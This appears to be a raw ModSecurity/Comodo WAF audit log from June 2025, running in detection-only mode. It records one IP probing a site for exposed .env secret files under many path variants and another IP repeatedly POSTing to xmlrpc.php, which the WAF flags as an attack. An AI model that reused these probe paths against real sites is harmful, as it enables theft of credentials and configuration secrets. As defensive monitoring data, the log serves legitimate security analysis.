--4a53a67b-Z-- --441a5a74-A-- [16/Jun/2025:01:58:45.752462 +0530] aE8s_T3D4g1mGjVnV5KNqwAAAAY 185.177.72.210 43550 127.0.0.1 7081 --441a5a74-B-- GET /:8080/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --441a5a74-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=39de63eeb7a5e8605a3123021eccb23e1750019325; expires=Sun, 15 Jun 2025 21:28:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --441a5a74-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/library/.env"] [unique_id "aE8s_T3D4g1mGjVnV5KNqwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019325075669 676890 (- - -) Stopwatch2: 1750019325075669 676890; combined=1925, p1=372, p2=1429, p3=0, p4=0, p5=123, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --441a5a74-Z-- --84218935-A-- [16/Jun/2025:01:59:43.044548 +0530] aE8tNjZWrQ9Ly--lMo8ACAAAAAE 128.199.112.101 54242 127.0.0.1 7081 --84218935-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --84218935-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --84218935-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8tNjZWrQ9Ly--lMo8ACAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019382088911 955711 (- - -) Stopwatch2: 1750019382088911 955711; combined=2287, p1=340, p2=1477, p3=46, p4=67, p5=221, sr=91, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --84218935-Z-- --5f9bbe45-A-- [16/Jun/2025:01:59:55.620128 +0530] aE8tQgmPiipnjM18nBT1IAAAAAs 185.177.72.210 55552 127.0.0.1 7081 --5f9bbe45-B-- GET /:8443/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f9bbe45-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a16f5fc842d9e54ecaabb65ed231e0d11750019395; expires=Sun, 15 Jun 2025 21:29:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f9bbe45-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.suspected"] [unique_id "aE8tQgmPiipnjM18nBT1IAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019394921092 699125 (- - -) Stopwatch2: 1750019394921092 699125; combined=2245, p1=434, p2=1598, p3=0, p4=0, p5=213, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f9bbe45-Z-- --3033a236-A-- [16/Jun/2025:01:59:57.595392 +0530] aE8tRDW73rwPI0SU-ijsYgAAAAA 185.177.72.210 55666 127.0.0.1 7081 --3033a236-B-- GET /run/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3033a236-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=815c1d293200cfa4483afca14d5cad611750019397; expires=Sun, 15 Jun 2025 21:29:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3033a236-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/run/.env"] [unique_id "aE8tRDW73rwPI0SU-ijsYgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019396938964 656500 (- - -) Stopwatch2: 1750019396938964 656500; combined=1843, p1=334, p2=1412, p3=0, p4=0, p5=96, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3033a236-Z-- --ac43d125-A-- [16/Jun/2025:02:00:00.522895 +0530] aE8tR7SOi14Mt1Fv4_TDVwAAAAo 185.177.72.210 50224 127.0.0.1 7081 --ac43d125-B-- GET /:8888/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac43d125-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f91e0f67f624bbc1d0a628d3f7a56001750019400; expires=Sun, 15 Jun 2025 21:30:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac43d125-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env_1"] [unique_id "aE8tR7SOi14Mt1Fv4_TDVwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019399852620 670354 (- - -) Stopwatch2: 1750019399852620 670354; combined=1708, p1=343, p2=1257, p3=0, p4=0, p5=108, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac43d125-Z-- --428bec35-A-- [16/Jun/2025:02:00:43.198569 +0530] aE8tcl4QpUmzcAFMV3bWbwAAAAI 128.199.112.101 34866 127.0.0.1 7081 --428bec35-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --428bec35-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --428bec35-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8tcl4QpUmzcAFMV3bWbwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019442221736 976899 (- - -) Stopwatch2: 1750019442221736 976899; combined=2109, p1=399, p2=1342, p3=40, p4=59, p5=169, sr=117, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --428bec35-Z-- --c16f6677-A-- [16/Jun/2025:02:00:58.172312 +0530] aE8tgbSOi14Mt1Fv4_TDdAAAAAo 185.177.72.210 54194 127.0.0.1 7081 --c16f6677-B-- GET /:8443/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c16f6677-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80db52101a34329b777909cf91b51c141750019458; expires=Sun, 15 Jun 2025 21:30:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c16f6677-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/app/configura/.env"] [unique_id "aE8tgbSOi14Mt1Fv4_TDdAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019457518978 653397 (- - -) Stopwatch2: 1750019457518978 653397; combined=1894, p1=362, p2=1433, p3=0, p4=0, p5=98, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c16f6677-Z-- --ee8a7a60-A-- [16/Jun/2025:02:01:20.169642 +0530] aE8tl0aRoH9PZO5fwRng1AAAAAw 185.177.72.210 49506 127.0.0.1 7081 --ee8a7a60-B-- GET /build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ee8a7a60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ca90101243a8e153cd9e19ff84eae251750019479; expires=Sun, 15 Jun 2025 21:31:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ee8a7a60-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/build/.env"] [unique_id "aE8tl0aRoH9PZO5fwRng1AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019479434520 735195 (- - -) Stopwatch2: 1750019479434520 735195; combined=1810, p1=385, p2=1346, p3=0, p4=0, p5=78, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ee8a7a60-Z-- --ad1f7437-A-- [16/Jun/2025:02:01:32.409171 +0530] aE8to2BSQiWwwCa-v2QAYQAAAAQ 185.177.72.210 55878 127.0.0.1 7081 --ad1f7437-B-- GET /docker-node-mongo-redis/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad1f7437-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eacfc84aa2983e944ba064a24ad3fe7d1750019492; expires=Sun, 15 Jun 2025 21:31:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad1f7437-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker-node-mongo-redis/.env"] [unique_id "aE8to2BSQiWwwCa-v2QAYQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019491656807 752427 (- - -) Stopwatch2: 1750019491656807 752427; combined=1882, p1=358, p2=1439, p3=0, p4=0, p5=85, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad1f7437-Z-- --ef2bcb43-A-- [16/Jun/2025:02:01:44.013887 +0530] aE8tryHEjD4mqWjYVm11rgAAABM 128.199.112.101 50616 127.0.0.1 7081 --ef2bcb43-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ef2bcb43-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ef2bcb43-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8tryHEjD4mqWjYVm11rgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019503083566 930377 (- - -) Stopwatch2: 1750019503083566 930377; combined=2146, p1=370, p2=1421, p3=41, p4=55, p5=161, sr=104, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef2bcb43-Z-- --b8945d3d-A-- [16/Jun/2025:02:01:51.110946 +0530] aE8ttnUxvvl26syvZ8YnPwAAAAU 185.177.72.210 40836 127.0.0.1 7081 --b8945d3d-B-- GET /:8888/.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8945d3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=63b4c781f0460fdf4e14948dd173ce141750019510; expires=Sun, 15 Jun 2025 21:31:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8945d3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.www"] [unique_id "aE8ttnUxvvl26syvZ8YnPwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019510356502 754507 (- - -) Stopwatch2: 1750019510356502 754507; combined=1887, p1=386, p2=1414, p3=0, p4=0, p5=86, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8945d3d-Z-- --a39d7e56-A-- [16/Jun/2025:02:01:52.085386 +0530] aE8ttz3D4g1mGjVnV5KOEAAAAAY 185.177.72.210 40896 127.0.0.1 7081 --a39d7e56-B-- GET /.env.ci HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a39d7e56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b63aebdbe1d06009831babaa5de2f0b61750019511; expires=Sun, 15 Jun 2025 21:31:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a39d7e56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.ci"] [unique_id "aE8ttz3D4g1mGjVnV5KOEAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019511442378 643072 (- - -) Stopwatch2: 1750019511442378 643072; combined=1643, p1=330, p2=1218, p3=0, p4=0, p5=95, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a39d7e56-Z-- --c43aab70-A-- [16/Jun/2025:02:02:00.201648 +0530] aE8tv3qOm7bLYGJoeMslNAAAABQ 185.177.72.210 54992 127.0.0.1 7081 --c43aab70-B-- GET /:9000/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c43aab70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a52d5ddf72922a3f1b92dcdeb961c7e1750019520; expires=Sun, 15 Jun 2025 21:32:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c43aab70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/public/.env"] [unique_id "aE8tv3qOm7bLYGJoeMslNAAAABQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019519522661 679051 (- - -) Stopwatch2: 1750019519522661 679051; combined=1937, p1=378, p2=1460, p3=0, p4=0, p5=98, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c43aab70-Z-- --09f4dc5b-A-- [16/Jun/2025:02:02:13.849257 +0530] aE8tzT3D4g1mGjVnV5KOHQAAAAY 185.177.72.210 59470 127.0.0.1 7081 --09f4dc5b-B-- GET /resources/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09f4dc5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b478902729b7424558be0983ae6ba64e1750019533; expires=Sun, 15 Jun 2025 21:32:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09f4dc5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname 